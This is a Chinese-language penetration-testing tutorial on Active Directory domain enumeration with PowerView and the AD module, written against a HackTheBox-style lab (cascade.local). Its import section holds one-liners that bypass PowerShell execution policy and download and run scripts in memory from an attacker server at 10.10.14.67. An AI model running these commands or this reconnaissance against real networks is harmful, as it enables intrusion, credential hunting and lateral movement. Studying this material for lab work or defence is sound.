Active Directory 域信息枚举技术详解
0x00 前言
域内信息枚举是渗透测试中获取域控制权后的关键步骤,为后续横向移动和权限提升提供必要信息支撑。本文将全面介绍使用PowerView和Active Directory模块进行域内枚举的技术方法。
0x01 模块导入
PowerView导入
项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Import-Module C:\Users\arksvc\Documents\powerview.ps1
内存加载执行(绕过PowerShell策略):
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"
Active Directory模块导入
项目地址:https://github.com/samratashok/ADModule
# 使用dll导入
Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose
# 远程导入
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory
0x02 枚举技术
0x02.1 当前域基本信息枚举
获取当前域信息:
Get-NetDomain
Get-ADDomain
列举其他域:
Get-NetDomain -Domain cascade.local
Get-ADDomain -Identity cascade.local
获取当前域SID:
Get-DomainSid
(Get-ADDomain).DomainSid
获取域策略(仅PowerView):
Get-DomainPolicy
(Get-DomainPolicy)."System access" # 系统最小/最大密码长度等
(Get-DomainPolicy)."kerberos policy" # Kerberos票据时效等
获取其他域策略:
Get-DomainPolicy -Domain cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"
定位域控制器:
Get-NetDomainController
Get-ADDomainController
定位其他域域控:
Get-NetDomainController -Domain cascade.local
Get-ADDomainController -DomainName cascade.local -Discover
0x02.2 域内用户信息枚举
获取域用户信息:
Get-NetUser
Get-NetUser -Username Administrator
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrator -Properties *
用户属性信息:
Get-UserProperty
Get-UserProperty -Properties pwdlastset # 最近密码设置时间
Get-Userproperty -Properties badpwdcount # 错误登录次数(可用于检测爆破可能性)
Get-Userproperty -Properties logoncount # 成功登录次数
# AD模块方式
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount
查找用户描述中的敏感信息:
Find-UserField -SearchField Description -SearchTerm "built" # 查找内置账户
Find-UserField -SearchField Description -SearchTerm "pass" # 查找密码相关描述
# AD模块方式
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description
0x02.3 域内机器信息枚举
获取域内计算机信息:
Get-NetComputer
Get-NetComputer -OperatingSystem "*server 2008*" # 特定操作系统
Get-NetComputer -Ping # 探测存活主机
Get-NetComputer -Fulldata
# AD模块方式
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}
0x02.4 域内组信息枚举
获取组信息:
Get-NetGroup
Get-NetGroup -GroupName *admin* # 含admin的组
Get-NetGroup 'Domain Admins' -Fulldata
Get-NetGroup -domain cascade.local
# AD模块方式
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
列出组成员信息:
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup -UserName Administrator
# AD模块方式
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity administrator
目标计算机组及成员信息(需管理员权限):
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -Recurse # 域控组上用户
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -ListGroups # 域控上的组
目标计算机登录用户信息:
Get-NetLoggedon -ComputerName CASC-DC1.cascade.local # 活跃用户(需管理员权限)
Get-LoggedonLocal -ComputerName CASC-DC1.cascade.local # 已登录用户(需开启远程注册表)
Get-LastLoggedon -ComputerName CASC-DC1.cascade.local # 最近登录用户(需管理员权限+远程注册表)
0x02.5 域内敏感文件枚举
当前域共享:
Invoke-ShareFinder -Verbose
敏感文件:
Invoke-FileFinder -Verbose
文件服务:
Get-NetFileServer
0x02.6 GPO & OUs枚举
GPO(组策略对象)可用于提权、后门和权限维持,OU(组织单位)是管理目的的通用容器。
获取当前域GPO列表:
Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local # 目标机器GPO
Get-NetGPOGroup # 查找groups.xml中的用户
Find-GPOComputerAdmin -Computername CASC-DC1.cascade.local # 通过GPO查找目标机器管理员
Find-GPOLocation -UserName arksvc # 查找用户在哪些机器有管理员权限
获取域OU:
Get-NetOU -Fulldata
Get-ADOrganizationalUnit -Filter * -Properties *
查询应用在OU上的GPO:
Get-NetGPO -GPOname '{322FEA29-156D-4476-8A06-1935A3525C1C}' # 通过Get-NetOU获取gplink
0x02.7 ACL枚举
ACL(访问控制列表)可用于提权,如Exchange、Enterprise Key admins等场景。
获取ACL关联项:
Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbose
# AD模块方式
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access
# LDAP查询
Get-ObjectAcl -ADSpath 'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local' -ResolveGUIDs -Verbose
查找ACEs:
Invoke-ACLScanner -ResolveGUIDs
通过特定路径查找ACLs:
Get-PathAcl -Path "\\CASC-DC1.cascade.local\\sysvol"
查找有权限修改ACL的用户:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
0x02.8 域信任枚举
获取域信任关系:
Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local
# AD模块方式
Get-ADTrust
Get-ADTrust -Identity CASC-DC1.cascade.local
0x02.9 林信息枚举
获取林详情:
Get-NetForest
Get-NetForest -Forest htb.local
# AD模块方式
Get-ADForest
Get-ADForest -Identity htb.local
获取林内域:
Get-NetForestDomain
Get-NetForestDomain -Forest htb.local
# AD模块方式
(Get-ADForest).Domains
当前林目录:
Get-NetForestCatalog
林间信任:
Get-NetForestTrust
0x02.10 用户搜寻
列出当前用户有权限的机器:
Find-LocalAdminAccess -Verbose
查找域内所有机器本地管理员:
Invoke-EnumerateLocalAdmin # 需本地管理员权限
查找特定用户/组登录过的机器:
Invoke-UserHunter
Invoke-UserHunter -Stealth
Invoke-UserHunter -UserName arksvc
Invoke-UserHunter -GroupName "RDP Users"
查找域管理员登录且当前用户有权限的机器:
Invoke-UserHunter -CheckAccess
0x03 总结
本文详细介绍了Active Directory域环境下的信息枚举技术,包括:
- 基础模块导入方法(PowerView和AD模块)
- 域基本信息枚举(域、域控、策略等)
- 用户和计算机信息枚举
- 组和权限关系分析
- 敏感文件和共享发现
- GPO和OU结构分析
- ACL权限分析
- 域信任和林关系
- 用户活动追踪
这些技术为域内横向移动、权限提升和持久化提供了必要的信息基础。PowerView功能丰富但易被检测,AD模块具有微软签名更隐蔽。实际渗透中应根据环境选择合适的工具和方法。